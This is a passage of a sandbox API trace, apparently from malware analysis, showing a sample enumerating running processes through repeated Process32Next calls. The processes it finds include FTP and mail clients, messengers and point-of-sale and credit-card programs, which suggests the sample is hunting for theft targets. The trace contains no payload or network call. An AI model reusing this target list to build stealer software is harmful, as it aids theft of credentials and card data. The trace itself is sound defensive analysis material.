pcPriClassBase=8, dwFlags=0x0, szExeFile="democrat save after.exe")) returned 1 [0108.953] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="happychoicepolicy.exe")) returned 1 [0108.955] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="half.exe")) returned 1 [0108.958] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="riskfail.exe")) returned 1 [0108.960] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="something.exe")) returned 1 [0108.961] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="for.exe")) returned 1 [0108.962] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="rate year do.exe")) returned 1 [0108.964] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nearly_cover_oil.exe")) returned 1 [0108.965] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell.exe")) returned 1 [0108.966] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="learn night rather.exe")) returned 1 [0108.968] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0108.969] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0108.970] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="former.exe")) returned 1 [0108.972] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0108.973] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0108.974] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0108.976] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0108.978] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="better water.exe")) returned 1 [0108.979] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0108.981] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pressure.exe")) returned 1 [0108.983] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0108.984] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0108.986] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell bar result.exe")) returned 1 [0108.989] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="differentyou.exe")) returned 1 [0108.991] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="main-short.exe")) returned 1 [0108.993] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0108.994] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0108.996] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0108.998] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0108.999] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0109.001] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xeb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0109.005] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xebc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0109.007] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xec4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0109.009] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0109.011] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0109.013] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xedc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0109.014] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xee4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0109.016] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0109.017] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0109.019] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0109.021] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0109.022] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0109.024] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0109.026] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0109.028] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0109.029] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0109.031] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0109.033] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0109.058] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0109.060] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0109.062] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0109.064] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0109.069] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0109.071] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0109.072] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xffc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0109.074] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0109.076] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1008, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0109.078] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0109.079] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1020, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0109.081] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nowstudy.exe")) returned 1 [0109.082] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk personal.exe")) returned 1 [0109.084] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1048, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="evening.exe")) returned 1 [0109.085] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1050, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="entire.exe")) returned 1 [0109.087] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1058, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="figure.exe")) returned 1 [0109.088] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x158, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0109.090] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0109.091] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x390, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0109.093] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x390, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 0 [0109.094] CloseHandle (hObject=0x1970) returned 1 [0109.094] Sleep (dwMilliseconds=0x64) [0109.209] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1008 [0109.227] Process32First (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0109.229] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0109.232] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0109.234] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0109.237] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0109.240] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0109.242] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0109.244] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0109.247] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0109.249] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0109.252] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0109.257] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0109.259] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x49, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0109.262] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0109.264] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0109.267] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0109.270] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, 